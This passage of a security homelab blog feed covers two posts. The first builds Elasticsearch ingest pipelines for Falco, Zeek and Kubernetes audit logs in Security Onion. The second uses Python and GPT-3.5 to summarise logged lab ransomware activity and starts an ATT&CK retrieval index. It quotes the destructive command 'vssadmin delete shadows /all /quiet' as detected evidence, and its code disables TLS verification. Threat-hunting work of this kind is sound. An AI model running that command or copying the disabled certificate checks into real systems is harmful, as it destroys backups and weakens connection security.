[\u0026#39;privileged\u0026#39; : ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.privileged\u0026#39;]];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;name\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.name\u0026#39;];\\nctx[\u0026#39;container\u0026#39;][\u0026#39;id\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;container.id\u0026#39;];\\nctx[\u0026#39;orchestrator\u0026#39;] = [:];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;namespace\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;k8s.ns.name\u0026#39;];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;resource\u0026#39;] = [\u0026#39;name\u0026#39; : ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;k8s.pod.name\u0026#39;]];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;resource\u0026#39;][\u0026#39;label\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;k8s.pod.labels\u0026#39;];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;resource\u0026#39;][\u0026#39;id\u0026#39;] = ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;k8s.pod.uid\u0026#39;];\\nctx[\u0026#39;event\u0026#39;][\u0026#39;type\u0026#39;] = \\\u0026#34;syscall\\\u0026#34;;\\nctx[\u0026#39;group\u0026#39;] = [\u0026#39;id\u0026#39; : ctx[\u0026#39;json\u0026#39;][\u0026#39;output_fields\u0026#39;][\u0026#39;group.gid\u0026#39;]];\\n\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.json.rule == \u0026#39;Log Execve Syscalls for Elasticsearch\u0026#39;\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Process Falco syscall\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;orchestrator.type\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;kubernetes\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.reason\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;json.rule\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;json.output\u0026#34; } }, { \u0026#34;remove\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;json\u0026#34; } } ] Then apply this to future logs via:\nPUT /_index_template/logs-falco { \u0026#34;index_patterns\u0026#34;: [\u0026#34;logs-falco-*\u0026#34;], \u0026#34;template\u0026#34;: { \u0026#34;settings\u0026#34;: { \u0026#34;index\u0026#34;: { \u0026#34;default_pipeline\u0026#34;: \u0026#34;logs-falco-2.3.0\u0026#34; } } } } If you\u0026rsquo;ve already had an index created from the template, for example because the agent has already sent logs, then also apply this pipeline to the current index, adjust 2024.09.13-000001 to match your index:\nPUT /.ds-logs-falco-default-2024.09.13-000001/_settings { \u0026#34;index\u0026#34;: { \u0026#34;default_pipeline\u0026#34;: \u0026#34;logs-falco-2.3.0\u0026#34; } } Zeek logs Security Onion already processes Zeek logs (usually from /nsm/zeek) so I hook my k8s-zeek-logs policy into that pipeline. Copy/paste the processors from the zeek-logs policy that is part of the so-grid-nodes-general policy and paste it into the new one, changing the tokenizer path and adding a few Javascript lines to enrich with the pod name. When click-opsing through the policy GUI, it failed to apply the ingest policy since it was managed already. I clicked Preview API Request, added the \u0026quot;force\u0026quot;: true option, and sent it via the Console.\nPOST kbn:/api/fleet/package_policies { \u0026#34;policy_id\u0026#34;: \u0026#34;0eaf17e0-6e36-11ef-a8bf-2f21315ac90d\u0026#34;, \u0026#34;package\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;log\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2.3.0\u0026#34; }, \u0026#34;name\u0026#34;: \u0026#34;k8s-zeek-logs\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Collect zeek logs from the Kubernetes NFS share\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;so\u0026#34;, \u0026#34;force\u0026#34;: true, \u0026#34;inputs\u0026#34;: { \u0026#34;logs-logfile\u0026#34;: { \u0026#34;enabled\u0026#34;: true, \u0026#34;streams\u0026#34;: { \u0026#34;log.logs\u0026#34;: { \u0026#34;enabled\u0026#34;: true, \u0026#34;vars\u0026#34;: { \u0026#34;paths\u0026#34;: [ \u0026#34;/mnt/nfs/zeek/logs/*/*.log\u0026#34; ], \u0026#34;exclude_files\u0026#34;: [], \u0026#34;ignore_older\u0026#34;: \u0026#34;72h\u0026#34;, \u0026#34;data_stream.dataset\u0026#34;: \u0026#34;zeek\u0026#34;, \u0026#34;tags\u0026#34;: [], \u0026#34;processors\u0026#34;: \u0026#34;- dissect:\\n tokenizer: \\\u0026#34;/mnt/nfs/zeek/logs/%{pod}/%{pipeline}.log\\\u0026#34;\\n field: \\\u0026#34;log.file.path\\\u0026#34;\\n trim_chars: \\\u0026#34;.log\\\u0026#34;\\n target_prefix: \\\u0026#34;\\\u0026#34;\\n- script:\\n lang: javascript\\n source: \u0026gt;\\n function process(event) {\\n var pl = event.Get(\\\u0026#34;pipeline\\\u0026#34;);\\n var pod = event.Get(\\\u0026#34;pod\\\u0026#34;);\\n event.Put(\\\u0026#34;@metadata.pipeline\\\u0026#34;, \\\u0026#34;zeek.\\\u0026#34; + pl);\\n event.Put(\\\u0026#34;host.name\\\u0026#34;, pod); // Add the pod name to ECS host.name\\n event.Put(\\\u0026#34;k8s.pod.name\\\u0026#34;, pod); // Custom field for pod name\\n }\\n- add_fields:\\n target: event\\n fields:\\n category: network\\n module: zeek\\n- add_tags:\\n tags: \\\u0026#34;kubernetes\\\u0026#34;\u0026#34;, \u0026#34;custom\u0026#34;: \u0026#34;exclude_files: [\\\u0026#34;analyzer|broker|capture_loss|cluster|conn-summary|console|ecat_arp_info|known_certs|known_hosts|known_services|loaded_scripts|ntp|ocsp|packet_filter|reporter|stats|stderr|stdout.log$\\\u0026#34;]\u0026#34; } } } } } } k8s audit For k8s audit logs, we get a nice JSON field and can set values directly. Like the Falco logs, we can create another ingest pipeline and attach it to the default logs-k8s-2.3.0 that gets created.\n[ { \u0026#34;json\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;ctx\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;user_agent.original\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.userAgent\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;user.id\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.user.uid\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;user.name\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.user.username\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;group.name\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true, \u0026#34;copy_from\u0026#34;: \u0026#34;user.groups\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;orchestrator.type\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;kubernetes\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;orchestrator.namespace\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.objectRef.namespace\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;orchestrator.api_version\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.objectRef.apiVersion\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;orchestrator.resource.type\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.objectRef.resource\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;orchestrator.resource.annotation\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.annotations\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;orchestrator.resource.name\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.objectRef.name\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.verb\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.code\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.responseStatus.code\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.stage\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true, \u0026#34;copy_from\u0026#34;: \u0026#34;stage\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;source.ip\u0026#34;, \u0026#34;copy_from\u0026#34;: \u0026#34;ctx.sourceIPs\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;String pod_name = ctx[\u0026#39;ctx\u0026#39;][\u0026#39;user\u0026#39;][\u0026#39;extra\u0026#39;][\u0026#39;authentication.kubernetes.io/pod-name\u0026#39;][0];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;resource\u0026#39;][\u0026#39;name\u0026#39;] = pod_name;\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;String pod_id = ctx[\u0026#39;ctx\u0026#39;][\u0026#39;user\u0026#39;][\u0026#39;extra\u0026#39;][\u0026#39;authentication.kubernetes.io/pod-uid\u0026#39;][0];\\nctx[\u0026#39;orchestrator\u0026#39;][\u0026#39;resource\u0026#39;][\u0026#39;id\u0026#39;] = pod_id;\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;String decision = ctx[\u0026#39;ctx\u0026#39;][\u0026#39;annotations\u0026#39;][\u0026#39;authorization.k8s.io/decision\u0026#39;];\\nctx[\u0026#39;event\u0026#39;][\u0026#39;outcome\u0026#39;] = decision;\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;String reason = ctx[\u0026#39;ctx\u0026#39;][\u0026#39;annotations\u0026#39;][\u0026#39;authorization.k8s.io/reason\u0026#39;];\\nctx[\u0026#39;event\u0026#39;][\u0026#39;reason\u0026#39;] = reason;\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;remove\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;ctx\u0026#34; } }, { \u0026#34;remove\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message\u0026#34; } } ] Again, like with Falco, set the default pipeline on the index template and the current index.\nResult For Zeek, we can build a netflow view and see a pod name where applicable: For Falco we can see both alerts and syscall activity: For k8saudit we can see who did what on what resource: ","permalink":"https://www.kimobu.space/posts/Kubernetes-monitoring-securityonion/","summary":"\u003ch1 id=\"introduction\"\u003eIntroduction\u003c/h1\u003e\n\u003cp\u003eAfter adding Kubernetes to my homelab, I wanted to learn how to hack and hunt for malicious activity involving containers. I found \u003ca href=\"https://madhuakula.com/kubernetes-goat/\"\u003eKubernetes GOAT\u003c/a\u003e which provides a great way to practice hacking. To do the hunting, we need some additional work to enable telemetry on networks, containers, and Kubernetes. In this post I\u0026rsquo;ll walk through how I instrumented my Microk8s cluster to hunt for the hacking actions you can do in the GOAT.\u003c/p\u003e","title":"Monitoring Kubernetes with Security Onion"},{"content":"Introduction I was recently catching up on some conference videos and saw a talk by Roberto Rodriguez on Empowering Security Teams with Generative AI: GPT models. This got me thinking about how to integrate GPT to hunting with Security Onion.\nGoals:\nSummarize activity found in Security Onion Enrich activity with MITRE ATT\u0026amp;CK attribution Convert English questions to Kibana Query Language to hunt In this post, I\u0026rsquo;ll tackle goals 1 and 2. I\u0026rsquo;ll do goal 3 in a separate post. These experiments will be conducted in Jupyter lab.\n1. Summarize activity found in Security Onion First we need to connect Jupyter to SO to search for malicious activity. I\u0026rsquo;ve run some ransomware attacks in the lab, so we\u0026rsquo;ll test out these goals by looking for pre-ransom activity, which includes deleting the Windows Volume Shadow copies as part of Inhibit System Recovery.\nConnect to Elasticsearch !pip3 install pandas openai autogen elasticsearch elasticsearch-dsl python-dotenv import pandas as pd import os import json import openai import urllib3 import autogen from datetime import datetime, timedelta from elasticsearch import Elasticsearch from elasticsearch_dsl import Search, Q from dotenv import load_dotenv Here we connect to the Elasticsearch service that\u0026rsquo;s running on SO. search_so() is a helper function to reduce boilerplate code when searching for activity.\nterms is a list of Elasticsearch DSL queries. They will take the form of:\nQ(\u0026#39;TYPE\u0026#39;, **{field1: value1}), where TYPE is \u0026lsquo;match\u0026rsquo; to do normal or fuzzy searches, \u0026rsquo;term\u0026rsquo; for precise values, or \u0026lsquo;range\u0026rsquo; to look for values between two limits. \u0026lsquo;range\u0026rsquo; will be used for @timestamp field to focus in on when the activity occurred. The **{} syntax is needed for the @timestamp field, as the Search DSL documentation says:\nIn some cases [Pass all the parameters as keyword arguments] is not possible due to python’s restriction on identifiers - for example if your field is called @timestamp. In that case you have to fall back to unpacking a dictionary: Range(** {\u0026rsquo;@timestamp\u0026rsquo;: {\u0026rsquo;lt\u0026rsquo;: \u0026rsquo;now\u0026rsquo;}})\n# Security Onion setup load_dotenv() soindex=\u0026#39;*:so-*\u0026#39; so_user = os.getenv(\u0026#34;SO_USERNAME\u0026#34;) so_pass = os.getenv(\u0026#34;SO_PASSWORD\u0026#34;) sohost = os.getenv(\u0026#34;SO_HOST\u0026#34;) so_api_key = os.getenv(\u0026#34;SO_API_KEY\u0026#34;) es = Elasticsearch([f\u0026#39;https://{sohost}:9200\u0026#39;], ca_certs=False,verify_certs=False, api_key=so_api_key) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def search_so(terms: list, start_date=(datetime.utcnow() - timedelta(days=3)).isoformat(), end_date=datetime.now().isoformat()): search = Search(using=es, index=soindex, doc_type=\u0026#39;doc\u0026#39;) search = search.query( Q(\u0026#39;bool\u0026#39;, must=terms ) ) response = search.execute() if response.success(): df = pd.DataFrame((d.to_dict() for d in search.scan())) return df else: print(f\u0026#34;Query failed: {response}\u0026#34;) return None Verifying that Jupyter and Elasticsearch can communicate:\nes.info() ObjectApiResponse({\u0026rsquo;name\u0026rsquo;: \u0026lsquo;securityonion\u0026rsquo;, \u0026lsquo;cluster_name\u0026rsquo;: \u0026lsquo;securityonion\u0026rsquo;, \u0026lsquo;cluster_uuid\u0026rsquo;: \u0026lsquo;WVA9WFJETpCLgQPeLtGk1A\u0026rsquo;, \u0026lsquo;version\u0026rsquo;: {\u0026rsquo;number\u0026rsquo;: \u0026lsquo;8.10.4\u0026rsquo;, \u0026lsquo;build_flavor\u0026rsquo;: \u0026lsquo;default\u0026rsquo;, \u0026lsquo;build_type\u0026rsquo;: \u0026lsquo;docker\u0026rsquo;, \u0026lsquo;build_hash\u0026rsquo;: \u0026lsquo;b4a62ac808e886ff032700c391f45f1408b2538c\u0026rsquo;, \u0026lsquo;build_date\u0026rsquo;: \u0026lsquo;2023-10-11T22:04:35.506990650Z\u0026rsquo;, \u0026lsquo;build_snapshot\u0026rsquo;: False, \u0026rsquo;lucene_version\u0026rsquo;: \u0026lsquo;9.7.0\u0026rsquo;, \u0026lsquo;minimum_wire_compatibility_version\u0026rsquo;: \u0026lsquo;7.17.0\u0026rsquo;, \u0026lsquo;minimum_index_compatibility_version\u0026rsquo;: \u0026lsquo;7.0.0\u0026rsquo;}, \u0026rsquo;tagline\u0026rsquo;: \u0026lsquo;You Know, for Search\u0026rsquo;})\nNow we can search for activity. This will be the equivalent of the querystring\n[@timestamp: 2023-11-12T00:00:00 TO 2023-11-15T00:00:00] and event.dataset:process_creation and process.command_line:*shadows* Note that periods in the field names get replaced with double underscores.\n# Replace \u0026#39;your_term_field\u0026#39; and \u0026#39;your_term_value\u0026#39; with your term field and value field1 = \u0026#39;event__dataset\u0026#39; value1 = \u0026#39;process_creation\u0026#39; field2 = \u0026#39;process__command_line\u0026#39; value2 = \u0026#39;*shadows*\u0026#39; # Replace \u0026#39;your_date_field\u0026#39; with your date field date_field = \u0026#39;@timestamp\u0026#39; # Replace the date range as needed start_date = datetime(2023, 11, 12) end_date = datetime(2023, 11, 15) # Create a Bool query with Term and Range clauses terms = [ Q(\u0026#39;match\u0026#39;, **{field1: value1}), Q(\u0026#39;wildcard\u0026#39;, **{field2: value2}), Q(\u0026#39;range\u0026#39;, **{date_field: {\u0026#39;gte\u0026#39;: start_date, \u0026#39;lte\u0026#39;: end_date}}) ] # Execute the search response = search_so(terms, start_date, end_date) # Access the search results if response is not None: df = response df metadata agent process winlog log message tags observer @timestamp file ecs @version host event user hash 0 {'beat': 'winlogbeat', 'ip_address': '10.10.41... {'name': 'SCR-ACT-PC2', 'id': '2e5cc8c1-e445-4... {'parent': {'entity_id': '{14f46ddd-e36e-6552-... {'computer_name': 'SCR-ACT-PC2.blue.local', 'p... {'level': 'information'} Process Create:\\nRuleName: -\\nUtcTime: 2023-11... [beat-ext, beats_input_codec_plain_applied] {'name': 'SCR-ACT-PC2.blue.local'} 2023-11-14T03:03:10.110Z {'hash': {}} {'version': '8.0.0'} 1 {'hostname': 'SCR-ACT-PC2', 'os': {'build': '1... {'code': '1', 'provider': 'Microsoft-Windows-S... {'name': 'NT AUTHORITY\\SYSTEM'} {'imphash': '272245E2988E1E430500B852C4FB5E18'... 1 {'beat': 'winlogbeat', 'ip_address': '10.10.41... {'name': 'SCR-ACT-PC2', 'id': '2e5cc8c1-e445-4... {'parent': {'entity_id': '{14f46ddd-e36e-6552-... {'computer_name': 'SCR-ACT-PC2.blue.local', 'p... {'level': 'information'} Process Create:\\nRuleName: -\\nUtcTime: 2023-11... [beat-ext, beats_input_codec_plain_applied] {'name': 'SCR-ACT-PC2.blue.local'} 2023-11-14T03:03:10.142Z {'hash': {}} {'version': '8.0.0'} 1 {'hostname': 'SCR-ACT-PC2', 'os': {'build': '1... {'code': '1', 'provider': 'Microsoft-Windows-S... {'name': 'NT AUTHORITY\\SYSTEM'} {'imphash': 'C1EDC431CD345F0A0F32019895D13FCE'... 2 {'beat': 'winlogbeat', 'ip_address': '10.10.41... {'name': 'scr-sales-pc1', 'id': '0ae611f1-d2e3... {'parent': {'entity_id': '{5f62a1c2-dc3d-6552-... {'computer_name': 'scr-sales-pc1.blue.local', ... {'level': 'information'} Process Create:\\nRuleName: -\\nUtcTime: 2023-11... [beat-ext, beats_input_codec_plain_applied] {'name': 'scr-sales-pc1.blue.local'} 2023-11-14T02:32:29.137Z {'hash': {}} {'version': '8.0.0'} 1 {'hostname': 'scr-sales-pc1', 'os': {'build': ... {'code': '1', 'provider': 'Microsoft-Windows-S... {'name': 'NT AUTHORITY\\SYSTEM'} {'imphash': '272245E2988E1E430500B852C4FB5E18'... 3 {'beat': 'winlogbeat', 'ip_address': '10.10.41... {'name': 'scr-sales-pc1', 'id': '0ae611f1-d2e3... {'parent': {'entity_id': '{5f62a1c2-dc3d-6552-... {'computer_name': 'scr-sales-pc1.blue.local', ... {'level': 'information'} Process Create:\\nRuleName: -\\nUtcTime: 2023-11... [beat-ext, beats_input_codec_plain_applied] {'name': 'scr-sales-pc1.blue.local'} 2023-11-14T02:32:29.170Z {'hash': {}} {'version': '8.0.0'} 1 {'hostname': 'scr-sales-pc1', 'os': {'build': ... {'code': '1', 'provider': 'Microsoft-Windows-S... {'name': 'NT AUTHORITY\\SYSTEM'} {'imphash': 'C1EDC431CD345F0A0F32019895D13FCE'... 4 {'beat': 'winlogbeat', 'ip_address': '10.10.41... {'name': 'scr-off-pc1', 'id': 'df9e4617-58fd-4... {'parent': {'entity_id': '{7face796-de00-6552-... {'computer_name': 'scr-off-pc1.blue.local', 'p... {'level': 'information'} Process Create:\\nRuleName: -\\nUtcTime: 2023-11... [beat-ext, beats_input_codec_plain_applied] {'name': 'scr-off-pc1.blue.local'} 2023-11-14T02:40:00.081Z {'hash': {}} {'version': '8.0.0'} 1 {'hostname': 'scr-off-pc1', 'os': {'build': '2... {'code': '1', 'provider': 'Microsoft-Windows-S... {'name': 'NT AUTHORITY\\SYSTEM'} {'imphash': 'D509661209CA0D9B45580702D62B63C0'... 5 {'beat': 'winlogbeat', 'ip_address': '10.10.41... {'name': 'scr-off-pc1', 'id': 'df9e4617-58fd-4... {'parent': {'entity_id': '{7face796-ddff-6552-... {'computer_name': 'scr-off-pc1.blue.local', 'p... {'level': 'information'} Process Create:\\nRuleName: -\\nUtcTime: 2023-11... [beat-ext, beats_input_codec_plain_applied] {'name': 'scr-off-pc1.blue.local'} 2023-11-14T02:40:00.058Z {'hash': {}} {'version': '8.0.0'} 1 {'hostname': 'scr-off-pc1', 'os': {'build': '2... {'code': '1', 'provider': 'Microsoft-Windows-S... {'name': 'NT AUTHORITY\\SYSTEM'} {'imphash': 'D73E39DAB3C8B57AA408073D01254964'... The process information is a JSON object, so we can use json_normalize to pull that information into its own dataframe.\nprocesses = pd.json_normalize(df.process) Connect to OpenAI Now we\u0026rsquo;ll set up a connection to OpenAI\u0026rsquo;s API. We\u0026rsquo;l ask ChatGPT to summarize what happened in the command_line values.\n# OpenAI setup load_dotenv() openai.api_key = os.getenv(\u0026#34;OPENAI_API_KEY\u0026#34;) def chat_gpt(prompt): response = openai.chat.completions.create( model=\u0026#34;gpt-3.5-turbo\u0026#34;, messages=[{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: prompt}] ) return response.choices[0].message.content prompt = f\u0026#34;\u0026#34;\u0026#34; Provide a summary of the following commandline activity. Give me a few sentences summarizing what actually happened based on the parent and process command_line values. Review: `{processes[[\u0026#39;parent.executable\u0026#39;,\u0026#39;working_directory\u0026#39;,\u0026#39;executable\u0026#39;, \u0026#39;command_line\u0026#39;]].to_json}` \u0026#34;\u0026#34;\u0026#34; vss_response = chat_gpt(prompt) print(vss_response) The commandline activity involves executing the command \u0026ldquo;vssadmin delete shadows /all /quiet\u0026rdquo; using the cmd.exe executable. This command is being run multiple times, with different parent executables and working directories. The command is initiated by a process with the executable C:\\Windows\\Temp\\6341D6.exe, which then calls the cmd.exe executable with the given command line.\nThat seems pretty \u0026ldquo;okay\u0026rdquo;. It\u0026rsquo;s not a great description of why a threat actor would do this. Let\u0026rsquo;s adjust the prompt and see if we can get something better.\nprompt = f\u0026#34;\u0026#34;\u0026#34; You are a cyber security analyst and found this activity. Why would a threat actor perform these actions? Review: `{processes[[\u0026#39;parent.executable\u0026#39;,\u0026#39;working_directory\u0026#39;,\u0026#39;executable\u0026#39;, \u0026#39;command_line\u0026#39;]].to_json}` \u0026#34;\u0026#34;\u0026#34; vss_response2 = chat_gpt(prompt) print(vss_response2) Based on the provided activity, it appears that a threat actor has performed the following actions: 1. Executed a file named \u0026ldquo;6341D6.exe\u0026rdquo; located in the \u0026ldquo;C:\\Windows\\Temp\u0026quot; directory with the working directory set to \u0026ldquo;C:\\WINDOWS\\system32\u0026quot;. 2. Executed the command \u0026ldquo;C:\\Windows\\System32\\cmd.exe\u0026rdquo; with the working directory set to \u0026ldquo;C:\\WINDOWS\\system32\u0026quot;. 3. Executed the command \u0026ldquo;vssadmin delete shadows /all /quiet\u0026rdquo;. 4. Executed the command \u0026ldquo;C:\\Windows\\System32\\vssadmin.exe\u0026rdquo;. 5. Executed the command \u0026ldquo;vssadmin delete shadows /all /quiet\u0026rdquo;. 6. Executed the command \u0026ldquo;C:\\Windows\\System32\\vssadmin.exe\u0026rdquo;. 7. Executed the command \u0026ldquo;vssadmin delete shadows /all /quiet\u0026rdquo;. 8. Executed the command \u0026ldquo;C:\\Windows\\System32\\cmd.exe\u0026rdquo; with the working directory set to \u0026ldquo;C:\\Windows\\system32\u0026quot;. From these actions, it can be inferred that the threat actor is attempting to delete Volume Shadow Copies (VSS) on the system. VSS is a feature in Windows that creates backups of files and allows users to restore them to a previous state. By deleting the VSS, the threat actor may be trying to cover their tracks or prevent file recovery tools from accessing previous versions of files, thus hindering potential forensic investigation or restoring system to a previous state.\nDeleting VSS can be a common tactic used by threat actors involved in activities such as ransomware attacks, where they aim to prevent victims from restoring their files from backup copies. It can also be used to hide the presence of malicious files or activities on the system by removing potential traces. As a cyber security analyst, it is important to investigate further, analyze the impact of the VSS deletion, and take appropriate actions to mitigate further risks. This may include conducting a thorough system analysis, monitoring for any additional suspicious activities, and implementing security measures to prevent future unauthorized access.\nThis is much more relevant, but is also a lot to read through. When we enrich this later, we\u0026rsquo;ll see that we\u0026rsquo;re going to exceed token limitations in the GPT model, so we\u0026rsquo;d want this summarized more.\n2. Enrich activity with MITRE ATT\u0026amp;CK attribution Now let\u0026rsquo;s look at taking what we found above and try to attribute it to threat actors. First we need to create a knowledge base of threat actors that GPT can look at. We do this with text embeddings.\nCreate text embeddings Cyb3rWard0g has already parsed ATT\u0026amp;CK groups and stored them as .md files. His repo references a ChromaDB, but the database was not committed. We need to index the markdown files and create the database ourselves. We can copy Roberto\u0026rsquo;s code and run it ourselves.\nimport glob from langchain.document_loaders import UnstructuredMarkdownLoader documents_directory = \u0026#34;/mnt/storage/GenAI-Security-Adventures/experiments/RAG/Threat-Intelligence/ATTCK-Groups/source-knowledge/documents\u0026#34; # variables group_files = glob.glob(os.path.join(documents_directory, \u0026#34;*.md\u0026#34;)) # Loading Markdown files md_docs = [] print(\u0026#34;[+] Loading Group markdown files..\u0026#34;) for group in group_files: print(f\u0026#39; [*] Loading {os.path.basename(group)}\u0026#39;) loader = UnstructuredMarkdownLoader(group) md_docs.extend(loader.load()) print(f\u0026#39;[+] Number of .md documents processed: {len(md_docs)}\u0026#39;) [+] Loading Group markdown files.. [+] Number of .md documents processed: 134 Next we tokenize the documents.\nimport tiktoken tokenizer = tiktoken.encoding_for_model(\u0026#39;gpt-3.5-turbo\u0026#39;) token_integers = tokenizer.encode(md_docs[0].page_content, disallowed_special=()) num_tokens = len(token_integers) token_bytes = [tokenizer.decode_single_token_bytes(token) for token in token_integers] print(f\u0026#34;token count: {num_tokens} tokens\u0026#34;) print(f\u0026#34;token integers: {token_integers}\u0026#34;) print(f\u0026#34;token bytes: {token_bytes}\u0026#34;) token count: 3241 tokens\ndef tiktoken_len(text): tokens = tokenizer.encode( text, disallowed_special=() #To disable this check for all special tokens ) return len(tokens) # Get token counts token_counts = [tiktoken_len(doc.page_content) for doc in md_docs] print(f\u0026#34;\u0026#34;\u0026#34;[+] Token Counts: Min: {min(token_counts)} Avg: {int(sum(token_counts) / len(token_counts))} Max: {max(token_counts)}\u0026#34;\u0026#34;\u0026#34;) [+] Token Counts: Min: 155 Avg: 1789 Max: 8131 Here Roberto splits the documents into chunks to deal with token limits.\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter # Chunking Text print(\u0026#39;[+] Initializing RecursiveCharacterTextSplitter..\u0026#39;) text_splitter = RecursiveCharacterTextSplitter( chunk_size=500, chunk_overlap=50, # number of tokens overlap between chunks length_function=tiktoken_len, separators=[\u0026#39;\\n\\n\u0026#39;, \u0026#39;\\n\u0026#39;, \u0026#39; \u0026#39;, \u0026#39;\u0026#39;] ) [+] Initializing RecursiveCharacterTextSplitter.. print(\u0026#39;[+] Splitting documents in chunks..\u0026#39;) chunks = text_splitter.split_documents(md_docs) print(f\u0026#39;[+] Number of documents: {len(md_docs)}\u0026#39;) print(f\u0026#39;[+] Number of chunks: {len(chunks)}\u0026#39;) [+] Splitting documents in chunks.. [+] Number of documents: 134 [+] Number of chunks: 694 Next we take the split documents, apply the embedding function to create the vectors, and load them into the database.\nfrom langchain.embeddings.sentence_transformer import SentenceTransformerEmbeddings from langchain.vectorstores import Chroma # create the open-source embedding function embedding_function = SentenceTransformerEmbeddings(model_name=\u0026#34;all-mpnet-base-v2\u0026#34;) persist_directory = \u0026#39;./chroma_db\u0026#39; db = Chroma.from_documents(chunks, embedding_function, collection_name=\u0026#34;groups_collection\u0026#34;, persist_directory=persist_directory) # Roberto\u0026#39;s test query = \u0026#34;What threat actors send text messages to their targets?\u0026#34; relevant_docs = db.similarity_search(query) # print results print(relevant_docs[0].page_content) Molerats - G0021 Created: 2017-05-31T21:31:55.093Z Modified: 2021-04-27T20:16:16.057Z Contributors: Aliases Molerats,Operation Molerats,Gaza Cybergang Description Molerats is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the 